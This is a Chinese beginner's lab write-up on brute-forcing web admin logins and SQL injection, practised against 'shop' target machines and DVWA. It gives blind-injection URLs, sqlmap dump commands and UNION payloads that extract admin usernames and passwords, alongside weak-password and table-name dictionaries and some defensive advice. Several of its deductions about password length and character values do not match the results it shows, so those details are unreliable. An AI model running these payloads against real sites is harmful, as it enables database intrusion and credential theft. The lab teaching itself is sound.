系统: Win7
系列博文
- 信安小白,说明白渗透测试及信息安全
- 信安小白,一篇博文讲明白暴力破解和SQL注入
- 信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell
- 信安小白,一篇博文讲明白存储型、反射型XSS漏洞
- 信安小白,一篇博文讲明白CSRF攻击和防御
前言
以下为信息安全实验部分,暴力破解和SQL注入。
理论
攻击目标:
修改网页
- 寻找Web管理后台入口
- 获取管理员用户名和密码
- 登陆后台,修改Logo
1.暴力破解
1.1查找网站后台入口
- 1、手工找默认后台(开源类程序)
admin/、admin/login.asp、manage、login.asp… - 2、字典扫描
Web目录字典扫描方法,类似于 暴力破解
代表软件:wwwscan,御剑后台扫描,DirBuster - 3、目录爬行
网络爬虫,编写脚本,自动遍历Web目录,不依赖于字典,
主要依靠爬行算法的效率。
代表软件:appscan,Awvs - 4、google hack
1.2防查找网站后台入口
- 1.编写 robots.txt (防爬虫)
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。在这个文件中网站管理者可以声明该网站中不想被搜索引擎访问的部分,或者指定搜索引擎只收录指定的内容。
Disallow: /admin/
Disallow: /db/
由此可见,如果暴露改文件也是比较危险的! - 2.robots Meta标签
robots Meta标签用来告诉搜索引擎robots如何抓取该页的内容。把下面
HTML代码放到管理后台,可以防检索
<META name=robots content=noindex,nofollow>
robots Meta标签在很多搜索引擎是不支持的,所以尽可能的使用robots.txt文件来限制抓取。
- 3.修改后台路径,修改文件名(防止工具暴力破解)
不用默认的路径或者常见名,找不到登录页就谈不到暴力破解,注意路径文件名和配置文件一致。
2.1如何获取用户名和密码
- 1、弱口令
admin admin
admin 123456
admin admin888
admin admin123
因此弱口令和密码是很容易出现漏洞的。 - 2、暴力破解(穷举法)
暴力破解是对目标进行穷举猜测,常常辅以字典来缩小密码组合的范围。
拖库: 网站遭到入侵后,黑客窃取其数据库。同时数据库中的用户名和密码就被泄露了。
撞库: 黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。(拿A网站的得到的信息去撞B网站)
利用社会工程学,生成字典: 我们设置密码容易使用生日,姓名全品等信息作为密码。因此这也是一个危险的地方,我们以后要注意!
2.2 如何防止暴力破解
- 不能一个密码走天下,防止拖库撞库的危险。尽量不要名字全拼,生日等信息作为密码。
- 页面数字验证码,4位数字验证码,一分钟就能遍历破解完,因此6位以上含字母大小写的验证码要安全得多。
- 图片验证码:看似安全,但图片库是有限的也容易暴力破解,因此现在出现了手动拖动操作!又来区别人工操作和机器操作。
- 手机验证码,目前来说比较安全。
- 限制密码输入次数(目前来说比较严谨,最高级别的验证方式),例如银行卡,输错几次自动锁住开锁要到人工客服面对面解锁。
2. SQL注入,危害性极大(密码不是弱口令,暴力破解也不能破解出来)
定义:
SQL是进行数据库操作的标准语言
由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
**盲注:**不会根据你sql注入的攻击语句返回你想要知道的错误信息。布尔盲注 (返回Ture跟Fales)
原因分析
其本质是对于输入检查不充分,将用户提交的数据当作代码来执行。
要数据库执行提交的查询代码而建立通信渠道
手工注入SQL注入(使用shop靶机)
1. 查找注入点(为了测试我们自己构造的sql语句是否被查询)
例:http://www.***.com/shop/index.asp
由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection
例:http://www.***.com/shop/productshopxp.asp?id=485
在URL中传递变量id,并且提供值为485,由于它是对数据库进行动态查询的请求(其中? id=485表示数据库查询变量),所以我们可以在URL中嵌入恶意SQL语句,但是这不能确定是注入点!要判断该注入点是否有输入限制或者数据过滤!
判断能否进行SQL注入 ,1=1,1=2测试法:
http://www.***. /shop/productshopxp.asp?id=485
http:***/shop/productshopxp.asp?id=485 and 1=1
http:***/shop/productshopxp.asp?id=485 and 1=2
select * from 表名 where id=485 and 【查询条件】
可以注入的表现:
1 正常显示(这是必然的,不然就是程序有错误了)
2 正常显示,内容基本与 1 相同
3 提示 提示找不到记录、或显示内容为空(程序加了on error resume next)
不可以注入:
1 同样正常显示,
2 和 3 一般都会有程序定义的错误提示,或提示类型转换时出错。
2.判断admin表是否存在
and exists (select count(*) from 你要猜的表名)
注入点后加上这句话,如果返回正常,猜的表是存在的
http:***/shop/productshopxp.asp?id=485 and exists (select count(*) from admin)
3.判断字段 admin password 是否存在
and (select count(列名) from 猜到的表名)
在注入点后加上这句话,如果返回正常,猜的列是存在的
http:***/shop/productshopxp.asp?id=485 and exists (select count(password) from admin)
常用的表名:
Admin user news manage a_admin x_admin m_admin
adminuser admin_user article_admin administrator
manager member memberlist users Manage_User
user_info admin_userinfo login new
常用的列名:
username password id adminusername admin_username
adminname admin_name admin adminuser admin_user
user_name user_admin administrator administrators
adminpassword admin_pwd adminpass userpass
user_pass admin_passwod
以上还是手工注入很麻烦,之后会有工具,注入工具就是把这些表名列名存储到数据库,一次性交给工具进行注入。
4.检测密码的长度
http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15 正常
http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16 错误
top 1表示这个列的第一行内容
5.查询密码的每一位数的ASCII码
http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>54
正常
http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>55
错误
密码不是明文存储而是通过md5哈希算法进行加密,因此55哈希算法对应7
Password: 7a57a5a743894a0e (admin)
mid(s,i,1)取字符串s中第i个字符开始取1个
asc()得到这个字符的ascII码
SQLmap 工具
SQLmap: 检测与利用SQL注入漏洞的免费开源工具,需要先找到注入点!
安装:sqlmap基于Python,先安装Python,将sqlmap解压到Python根目录下
因为是sqlmap是机器工具,发数据包是连续的很容易防火墙等安全软件识别出来!
sqlmap.py –h #查看版本
-u #指定目标URL
–current-db #获取当前数据库
-D #指定数据库
-T #要枚举的DBMS数据表
-C #要枚举的DBMS数据表中的列
–dump #转储DBMS数据表项
查询是什么数据库
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --dbs
列出表
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --table
指定表名列出所有字段
/sqlmap.py –u “http://*/shop/productshopxp.asp?id=485” –T admin --columns
指定表名字段名dump出指定字段的内容
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” –T admin –C user,password --dump
SQL注入分类(以注入方式)
shop靶机的注入是盲注,只能判断Yes or NO,需要特定语句去查,比如查:有没有这个表,无法查询特定值。当靶机不是盲注时,有回复的信息,我们就可以根据回复来进一步得到我们需要的信息。
回显:
将构造的SQL语句的直接执行,将结果回显或者以报错的形式显示出来。
例: 问:你有什么表,答:有admin、user…
盲注:
开发时关闭错误显示,且注入内容不能在页面展示出来。
例: 问:你有admin表吗? 答:yes
盲注分类:
布尔型盲注(回答yes or no)
构造SQL语句之后,根据页面显示差异来判断,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据.
基于时间的盲注(返回时间的快慢)
构造SQL语句之后根据页面响应时间来判断,是否能执行语句,时间长说明在执行我们的语句,时间短就返回信息说明没有执行注入的语句。
SQL注入分类(以字符类型方式)
数字型:
在MySQL语句中数字型不需要单引号或者双引号闭合。
字符型:
在MySQL语句中,如果字符是字符串格式需要单引号,在注入中也需要考虑单引号的闭合和注释问题。
防御SQL注入
1.避免数据变成代码被执行
被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以要避免用户输入的数据被数据库系统编译。现在的数据库系统都提供SQL语句的 预编译 (prepare)和查询参数绑定功能。执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,因此避免了sql注入问题。
2.敏感字符过滤
#过滤以下字符
and | select | update | chr | delete | %20from | ; | insert |
mid | master. | set | =
3. JSP页面判断代码
使用JavaScript在客户端进行不安全字符屏蔽,检查是否含有‘,\\,/
4.使用正则表达式过滤
实验
本实验使用的是Shop1.0和Shop2.0靶机进行实验:
Shop1.0靶机
找到注入点
使用手入的形式,发现URL输入admin可进入默认的登录入口,并且尝试输入admin可以进入后端。
也可以使用软件“御剑后台扫描”工具进行扫描
通过手工SQL注入查询后台登录密码,网站中热和可以上传的地方都是可能可以注入的地方
验证注入点,尝试获取信息
在可以上传的网页UIL输入“id=485 and 1=1” 和 “id=485 and 1=2” 说明网站确认了提交的信息(盲注)
可以通过输入sql语句
http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15
正常,无反应
http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16
错误,报错
可见密码长度为15,
可以通过输入:
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>54
正常
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>55
错误
ASCII密码第一位为54。
http://192.168.163.133/shop/productshopxp.asp?id=485 and(select top 1 asc(mid(password,2,1))from admin)>96
正常
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 2 asc(mid(password,1,1)) from admin)>97
错误
因此第二位是96
Shop2.0靶机
找注入点:
使用wwwscan工具,搜索网站后台入口:wwwscan 192.168.163.133 -p 80 -r “shop2” -t 20
输入网址
使用SQLmap,尝试获取登录用户名和密码等信息
已得知注入点地址:http://192.168.163.133/shop2/productshopxp.asp?id=485
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485
列出所有数据库
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485 --dbs
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485 --tables
列出admin表的所有字段
Sqlmap.py –u http://***/shop/productshopxp.asp?id=485 -T admin --columns
限定表名字和字段名dump出指定字段的内容
Sqlmap.py -u http://***/shop/productshopxp.asp?id=485 -T admin -C passwaord --dump
如果用admin字段查,结果相同。
DVWA靶机
1)判断是数字型还是字符型
输入数字时,可以显示
输入字符时,不显示信息:判断是数字型
2)查表、字段获取用户名和密码
输入 1’or’1’=’1 时,可遍历所有用户信息
3)获取数据库版本、数据库名、表、字段
输入1' union select version(),database()#
获取数据库版本和数据库名 (如果只搜寻数据库,会出现错误说明有很多版本)版本 5.5.40 数据库名 dvwa (和home连接里的数据库名相同)
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询数据库里有哪些表: guestbook
表、users
表
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
查询user表里用什么字段:user_id,first_name,last_name,password,avater,last_login,failed_login
4)查询用户名和密码
1' union select user,password from users#
查询用户名和密码